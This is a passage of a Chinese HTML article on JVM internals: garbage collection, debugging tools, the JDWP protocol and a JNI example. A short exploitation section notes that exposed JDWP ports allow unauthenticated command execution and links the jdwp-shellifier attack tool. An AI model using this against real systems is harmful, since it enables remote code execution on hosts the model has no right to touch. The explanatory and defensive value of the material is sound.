255);">-XX:MaxTenuringThreshold 用来定义年龄的阈值。</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"># 4. 动态对象年龄判定</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">虚拟机并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代，如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半，则年龄大于或等于该年龄的对象可以直接进入老年代，无需等到 MaxTenuringThreshold 中要求的年龄。</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"># 5. 空间分配担保</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在发生 Minor GC 之前，虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间，如果条件成立的话，那么 Minor GC 可以确认是安全的。</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">如果不成立的话虚拟机会查看 HandlePromotionFailure 设置值是否允许担保失败，如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小，如果大于，将尝试着进行一次 Minor GC；如果小于，或者 HandlePromotionFailure 设置不允许冒险，那么就要进行一次 Full GC</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Full GC 的触发条件</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">调用 System.gc()</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">老年代空间不足、Concurrent Mode Failure（执行 CMS GC 的过程中同时有对象要放入老年代，而此时老年代空间不足）</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">空间分配担保失败</p></div></li></ul><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">垃圾收集器</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Serial 收集器</p></li></ol><ol start="2" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">ParNew 收集器</p></li></ol><ol start="3" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Parallel Scavenge 收集器</p></li></ol><ol start="4" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Serial Old 收集器</p></li></ol><ol start="5" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Parallel Old 收集器</p></li></ol><ol start="6" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">CMS 收集器</p></li></ol><ol start="7" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">G1 收集器</p></li></ol></ul><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JAVA调试工具</h3><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">加参数-XX:NativeMemoryTracking=detailJVM，使用命令 jcmd pid VM.native_memory detail</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Thread Dump</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Java 调试入门工具</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">jps</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">jstack</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">jinfo</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">jmap</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">jstat</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">jdb</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">CHLSDB</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Java 调试进阶工具</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">btrace</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Greys</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Arthas</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">javOSize</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">JProfiler</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">其它工具</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">dmesg</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">JConsole</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Visual VM</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Visual GC</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">JProfile</p></li></ul><h2 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JPDA</h2><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Java 平台调试体系（Java Platform Debugger Architecture，JPDA）</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">层级由低到高分别是</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">java虚拟机工具接口（JVMTI）</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Java 调试连接协议（JDWP）</p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Java 调试接口（JDI）</p></div></li></ul><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">java -Xdebug -Xrunjdwp:transport=dt_shmem,address=debug,server=y,suspend=y com.xxx.Test</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JDWP是用于规范调试器（Debugger）与目标 JVM 之间通信的协议</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JDWP 只规定了具体的格式和布局，而不管你用什么协议来传输数据</p><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">握手</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">连接建立之后，在发送其他数据包之前，连接双方需要进行握手：</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">握手过程包括以下步骤：</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Debugger 端向目标 JVM 发送 14 个字节，也就是包括 14 个 ASCII 字符的字符串 &#34;JDWP-Handshake&#34;。</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">VM 端以相同的 14 个字节答复：JDWP-Handshake。</p></li></ul><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JDWP 数据包</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JDWP 是无状态的协议，JDWP 是异步的，命令包和应答包的 header 大小相等</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">命令包</p></div></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">length（4 bytes）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">id（4 bytes）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">flags（1 byte）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">command set（1 byte）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">command（1 byte）该字段用于标识命令集中的具体命令</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">0-63：发给目标 VM 的命令集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">64-127：发送给调试器的命令集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">128-256：JVM 提供商自己定义的命令和扩展。</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">调试器可以用命令包来从目标 VM 请求相关信息或者控制程序的执行</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">目标 VM 可以将自身的某些事件（例如断点或异常）用命令数据包的方式通知调试器</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Header</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">data（长度不固定）</p></li></ul><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">应答包</p><h3 style="margin-top: 30px;margin-bottom: 15px;color: black;font-weight: bold;font-size: 20px;">漏洞利用</h3><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">jdb等工具或脚本连接端口（未授权）然后通过反射调用java代码，执行命令</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><a href="https://github.com/IOActive/jdwp-shellifier" target="_blank">https://github.com/IOActive/jdwp-shellifier</a></p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><a href="https://github.com/Lz1y/jdwp-shellifier" target="_blank">https://github.com/Lz1y/jdwp-shellifier</a></p></div></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">length（4 bytes）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">id（4 bytes）应答包 id 值必须与对应的命令包 ID 相同，id 的取值允许 2^32 个数据包</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">flags（1 byte）用于修改命令的排队和处理方式，也用来标记源自 JVM 的数据包</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">error code（2 bytes）标识是否成功处理了对应的命令包。0 值表示成功，非零值表示错误</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">应答包仅用于对命令包进行响应，并且标明该命令是成功还是失败</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">应答包还可以携带命令中请求的数据（例如字段或变量的值）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Header</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">data（Variable）</p></li></ul></ul><h2 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JNI\JNA\JNR</h2><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JNI</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Java代码和其他语言（尤其C/C++）写的代码进行交互，只要遵守调用约定即可</p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="0.6693548387096774" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="png" data-w="496" src="https://wechat2rss.xlab.app/img-proxy/?k=ca9ebee8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9ayxZx9hiaNLib8YHiaDdribiakroPlR3m2K5yDaMZqlvUhf1GlGXCdboh9g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">311340147974036.png</figcaption></figure><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">如果使用JNI技 术调用，我们首先需要使用C语言另外写一个.dll/.so共享库，使用SUN规定的数据结构替代C语言的数据结构，调用已有的 dll/so中公布的函 数。然后再在Java中载入这个库dll/so，最后编写Java native函数作为链接库中函数的代理。经过这些繁琐的步骤才能在Java中调用 本地代码</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">java创建类</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">package</span> com.test;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">GetPidJni</span> </span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">native</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">long</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">getpid</span><span style="line-height: 26px;">()</span></span>;    <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> {        System.loadLibrary(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;getpidjni&#34;</span>);    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> </span>{        System.out.println(getpid());    }}</p></pre><div style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">javac</p> 编译代码 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">GetPidJNI.java</p>，然后用 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">javah</p> 生成 JNI 头文件</div><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(97, 174, 238);line-height: 26px;">$</span><span style="line-height: 26px;"> mkdir -p target/classes</span><span style="color: rgb(97, 174, 238);line-height: 26px;">$</span><span style="line-height: 26px;"> javac src/main/java/com/<span style="color: rgb(230, 192, 123);line-height: 26px;">test</span>/GetPidJni.java -d <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;target/classes&#34;</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;">$</span><span style="line-height: 26px;"> javah -cp <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;target/classes&#34;</span> com.test.GetPidJni</span></p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">头文件如下</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: 